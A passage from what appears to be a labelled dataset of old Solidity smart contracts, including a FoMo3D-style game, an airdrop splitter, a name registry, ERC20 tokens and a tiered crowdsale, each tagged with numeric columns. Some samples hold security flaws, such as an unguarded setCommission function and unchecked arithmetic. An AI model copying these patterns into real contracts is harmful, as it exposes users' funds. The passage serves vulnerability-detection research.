function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 200 |
pragma solidity ^0.4.20;
contract Share {
address public owner;
address[] public shares;
bool public pause;
mapping (address => uint256) public holds;
function Share() public {
owner = msg.sender;
shares.push(owner);
pause = false;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier whenNotPaused() {
require(!pause);
_;
}
function pause() public onlyOwner {
pause = true;
}
function unpause() public onlyOwner {
pause = false;
}
function addShare(address _share) public onlyOwner {
for (uint i = 0; i < shares.length; i ++) {
if (shares[i] == _share) {
return;
}
}
shares.push(_share);
}
function removeShare(address _share) public onlyOwner {
uint i = 0;
for (; i < shares.length; i ++) {
if (shares[i] == _share) {
break;
}
}
if (i > shares.length - 1) {
return;
} else {
shares[i] = shares[shares.length - 1];
shares.length = shares.length - 1;
return;
}
}
function split(uint256 value) internal {
uint256 each = value / shares.length;
for (uint i = 0; i < shares.length; i ++) {
holds[shares[i]] += each;
}
holds[owner] += value - each * shares.length;
return;
}
function withdrawal() public whenNotPaused {
if (holds[msg.sender] > 0) {
uint256 v = holds[msg.sender];
holds[msg.sender] = 0;
msg.sender.transfer(v);
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract AirDrop is Share {
mapping(address => mapping(address => uint256)) toDrop;
uint256 public fee;
function AirDrop (uint256 _fee) public {
fee = _fee;
}
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
function drop(address _token, address[] dsts, uint256 value) public payable whenNotPaused {
require(dsts.length > 0);
uint256 total = dsts.length * value;
assert(total / dsts.length == value);
require(msg.value >= fee);
split(fee);
uint256 i = 0;
if (_token == address(0)) {
require((fee + total) >= total);
require(msg.value >= (fee + total));
while (i < dsts.length) {
dsts[i].transfer(value);
i += 1;
}
} else {
ERC20 erc20 = ERC20(_token);
require(erc20.allowance(msg.sender, this) >= total);
while (i < dsts.length) {
erc20.transferFrom(msg.sender, dsts[i], value);
i += 1;
}
}
}
} | 1 | 3,099 |
pragma solidity ^0.4.21;
contract Managed {
event Commission(uint256 basisPoint);
address public manager;
uint256 public commission;
function Managed() public {
manager = msg.sender;
}
function() public payable {}
function setCommission(uint256 _commission) external {
require(_commission < 10000);
commission = _commission;
emit Commission(commission);
}
function withdrawBalance() external {
manager.transfer(address(this).balance);
}
function transferPower(address _newManager) external onlyManager {
manager = _newManager;
}
function callFor(address _to, uint256 _value, uint256 _gas, bytes _code)
external
payable
onlyManager
returns (bool)
{
return _to.call.value(_value).gas(_gas)(_code);
}
modifier onlyManager
{
require(msg.sender == manager);
_;
}
}
contract EthernameRaw is Managed {
event Transfer(
address indexed from,
address indexed to,
bytes32 indexed name
);
event Approval(
address indexed owner,
address indexed approved,
bytes32 indexed name
);
event SendEther(
address indexed from,
address indexed to,
bytes32 sender,
bytes32 recipient,
uint256 value
);
event Name(address indexed owner, bytes32 indexed name);
event Price(bytes32 indexed name, uint256 price);
event Buy(bytes32 indexed name, address buyer, uint256 price);
event Attribute(bytes32 indexed name, bytes32 key);
struct Record {
address owner;
uint256 price;
mapping (bytes32 => bytes) attrs;
}
string public constant name = "Ethername";
string public constant symbol = "ENM";
mapping (address => bytes32) public ownerToName;
mapping (bytes32 => Record) public nameToRecord;
mapping (bytes32 => address) public nameToApproved;
function rawRegister(bytes32 _name) public payable {
_register(_name, msg.sender);
}
function rawTransfer(address _to, bytes32 _name)
public
onlyOwner(msg.sender, _name)
{
_transfer(msg.sender, _to, _name);
}
function rawApprove(address _to, bytes32 _name)
public
onlyOwner(msg.sender, _name)
{
_approve(msg.sender, _to, _name);
}
function rawTransferFrom(address _from, address _to, bytes32 _name)
public
onlyOwner(_from, _name)
onlyApproved(msg.sender, _name)
{
_transfer(_from, _to, _name);
}
function rawSetPrice(bytes32 _name, uint256 _price)
public
onlyOwner(msg.sender, _name)
{
require(_price == uint256(uint128(_price)));
nameToRecord[_name].price = _price;
emit Price(_name, _price);
}
function rawBuy(bytes32 _name) public payable {
Record memory _record = nameToRecord[_name];
require(_record.price > 0);
uint256 _price = _computePrice(_record.price);
require(msg.value >= _price);
_record.owner.transfer(_record.price);
_transfer(_record.owner, msg.sender, _name);
msg.sender.transfer(msg.value - _price);
emit Buy(_name, msg.sender, _price);
}
function rawUseName(bytes32 _name) public onlyOwner(msg.sender, _name) {
_useName(msg.sender, _name);
}
function rawSetAttribute(bytes32 _name, bytes32 _key, bytes _value)
public
onlyOwner(msg.sender, _name)
{
nameToRecord[_name].attrs[_key] = _value;
emit Attribute(_name, _key);
}
function rawWipeAttributes(bytes32 _name, bytes32[] _keys)
public
onlyOwner(msg.sender, _name)
{
mapping (bytes32 => bytes) attrs = nameToRecord[_name].attrs;
for (uint i = 0; i < _keys.length; i++) {
delete attrs[_keys[i]];
emit Attribute(_name, _keys[i]);
}
}
function rawSendEther(bytes32 _name) public payable returns (bool _result) {
address _to = nameToRecord[_name].owner;
_result = (_name != bytes32(0)) &&
(_to != address(0)) &&
_to.send(msg.value);
if (_result) {
emit SendEther(
msg.sender,
_to,
rawNameOf(msg.sender),
_name,
msg.value
);
}
}
function rawNameOf(address _address) public view returns (bytes32 _name) {
_name = ownerToName[_address];
}
function rawOwnerOf(bytes32 _name) public view returns (address _owner) {
_owner = nameToRecord[_name].owner;
}
function rawDetailsOf(bytes32 _name, bytes32 _key)
public
view
returns (address _owner, uint256 _price, bytes _value)
{
_owner = nameToRecord[_name].owner;
_price = _computePrice(nameToRecord[_name].price);
_value = nameToRecord[_name].attrs[_key];
}
function _register(bytes32 _name, address _to) internal {
require(nameToRecord[_name].owner == address(0));
for (uint i = 0; i < _name.length; i++) {
require((_name[i] == 0) ||
(_name[i] > 96 && _name[i] < 123) ||
(_name[i] > 47 && _name[i] < 58));
}
_transfer(0, _to, _name);
}
function _transfer(address _from, address _to, bytes32 _name) internal {
address _null = address(0);
if (nameToApproved[_name] != _null) {
_approve(_from, _null, _name);
}
if (ownerToName[_from] == _name) {
_useName(_from, 0);
}
nameToRecord[_name] = Record(_to, 0);
if (ownerToName[_to] == bytes32(0)) {
_useName(_to, _name);
}
emit Transfer(_from, _to, _name);
}
function _approve(address _owner, address _to, bytes32 _name) internal {
nameToApproved[_name] = _to;
emit Approval(_owner, _to, _name);
}
function _useName(address _owner, bytes32 _name) internal {
ownerToName[_owner] = _name;
emit Name(_owner, _name);
}
function _computePrice(uint256 _price) internal view returns (uint256) {
return _price * (10000 + commission) / 10000;
}
function _stringToBytes32(string _string)
internal
pure
returns (bytes32 _bytes32)
{
require(bytes(_string).length < 33);
assembly {
_bytes32 := mload(add(_string, 0x20))
}
}
function _bytes32ToString(bytes32 _bytes32)
internal
pure
returns (string _string)
{
assembly {
let m := mload(0x40)
mstore(m, 0x20)
mstore(add(m, 0x20), _bytes32)
mstore(0x40, add(m, 0x40))
_string := m
}
}
modifier onlyOwner(address _claimant, bytes32 _name) {
require(nameToRecord[_name].owner == _claimant);
_;
}
modifier onlyApproved(address _claimant, bytes32 _name) {
require(nameToApproved[_name] == _claimant);
_;
}
}
contract Ethername is EthernameRaw {
function Ethername() public {
commission = 200;
nameToRecord[bytes32('')] = Record(this, 0);
_register(bytes32('ethername'), this);
_register(bytes32('root'), msg.sender);
}
function register(string _name) external payable {
rawRegister(_stringToBytes32(_name));
}
function transfer(address _to, string _name) external {
rawTransfer(_to, _stringToBytes32(_name));
}
function approve(address _to, string _name) external {
rawApprove(_to, _stringToBytes32(_name));
}
function transferFrom(address _from, address _to, string _name) external {
rawTransferFrom(_from, _to, _stringToBytes32(_name));
}
function setPrice(string _name, uint256 _price) external {
rawSetPrice(_stringToBytes32(_name), _price);
}
function buy(string _name) external payable {
rawBuy(_stringToBytes32(_name));
}
function useName(string _name) external {
rawUseName(_stringToBytes32(_name));
}
function setAttribute(string _name, string _key, bytes _value) external {
rawSetAttribute(_stringToBytes32(_name), _stringToBytes32(_key), _value);
}
function wipeAttributes(string _name, bytes32[] _keys) external {
rawWipeAttributes(_stringToBytes32(_name), _keys);
}
function sendEther(string _name) external payable returns (bool _result) {
_result = rawSendEther(_stringToBytes32(_name));
}
function nameOf(address _address) external view returns (string _name) {
_name = _bytes32ToString(rawNameOf(_address));
}
function ownerOf(string _name) external view returns (address _owner) {
_owner = rawOwnerOf(_stringToBytes32(_name));
}
function detailsOf(string _name, string _key)
external
view
returns (address _owner, uint256 _price, bytes _value)
{
return rawDetailsOf(_stringToBytes32(_name), _stringToBytes32(_key));
}
} | 1 | 2,278 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract BAHACAN {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function BAHACAN(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function multiPartyTransfer(address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
function multiPartyTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,561 |
pragma solidity ^0.4.15;
contract Token {
function transfer(address _to, uint _value) returns (bool success);
}
contract Safe {
uint256 public lock = 1541422740;
address public owner;
function Safe() {
owner = msg.sender;
}
function transfer(address to) returns (bool) {
require(msg.sender == owner);
require(to != address(0));
owner = to;
return true;
}
function withdrawal(Token token, address to, uint value) returns (bool) {
require(msg.sender == owner);
require(block.timestamp >= lock);
require(to != address(0));
return token.transfer(to, value);
}
} | 0 | 391 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
address public tier;
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function updateRate(uint newOneTokenInWei) public;
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
bool public reservedTokensAreDistributed = false;
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function distributeReservedTokens(uint reservedTokensDistributionBatch);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
string public name;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
bool public finalized;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint8 public joinedCrowdsalesLen = 0;
uint8 public joinedCrowdsalesLenMax = 50;
struct JoinedCrowdsaleStatus {
bool isJoined;
uint8 position;
}
mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
address[] public whitelistedParticipants;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Whitelisted(address addr, bool status, uint minCap, uint maxCap);
event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
name = _name;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount);
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function invest(address addr) public payable {
investInternal(addr, 0);
}
function buy() public payable {
invest(msg.sender);
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch);
}
}
function areReservedTokensDistributed() public constant returns (bool) {
return finalizeAgent.reservedTokensAreDistributed();
}
function canDistributeReservedTokens() public constant returns(bool) {
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true;
return false;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
assert(address(addr) != address(0));
assert(address(finalizeAgent) == address(0));
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(maxCap > 0);
assert(minCap <= maxCap);
assert(now <= endsAt);
if (!isAddressWhitelisted(addr)) {
whitelistedParticipants.push(addr);
Whitelisted(addr, status, minCap, maxCap);
} else {
WhitelistItemChanged(addr, status, minCap, maxCap);
}
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
}
function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner {
if (!isWhiteListed) throw;
assert(now <= endsAt);
assert(addrs.length == statuses.length);
assert(statuses.length == minCaps.length);
assert(minCaps.length == maxCaps.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private {
if (!isWhiteListed) throw;
if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought);
}
}
function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(now <= endsAt);
assert(isTierJoined(msg.sender));
if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function isAddressWhitelisted(address addr) public constant returns(bool) {
for (uint i = 0; i < whitelistedParticipants.length; i++) {
if (whitelistedParticipants[i] == addr) {
return true;
break;
}
}
return false;
}
function whitelistedParticipantsLength() public constant returns (uint) {
return whitelistedParticipants.length;
}
function isTierJoined(address addr) public constant returns(bool) {
return joinedCrowdsaleState[addr].isJoined;
}
function getTierPosition(address addr) public constant returns(uint8) {
return joinedCrowdsaleState[addr].position;
}
function getLastTier() public constant returns(address) {
if (joinedCrowdsalesLen > 0)
return joinedCrowdsales[joinedCrowdsalesLen - 1];
else
return address(0);
}
function setJoinedCrowdsales(address addr) private onlyOwner {
assert(addr != address(0));
assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax);
assert(!isTierJoined(addr));
joinedCrowdsales.push(addr);
joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({
isJoined: true,
position: joinedCrowdsalesLen
});
joinedCrowdsalesLen++;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner {
assert(addrs.length > 0);
assert(joinedCrowdsalesLen == 0);
assert(addrs.length <= joinedCrowdsalesLenMax);
for (uint8 iter = 0; iter < addrs.length; iter++) {
setJoinedCrowdsales(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(time <= endsAt);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = 0; j < tierPosition; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time >= crowdsale.endsAt());
}
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(startsAt <= time);
assert(now <= endsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time <= crowdsale.startsAt());
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
assert(address(_pricingStrategy) != address(0));
assert(address(pricingStrategy) == address(0));
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function isMinimumGoalReached() public constant returns (bool reached) {
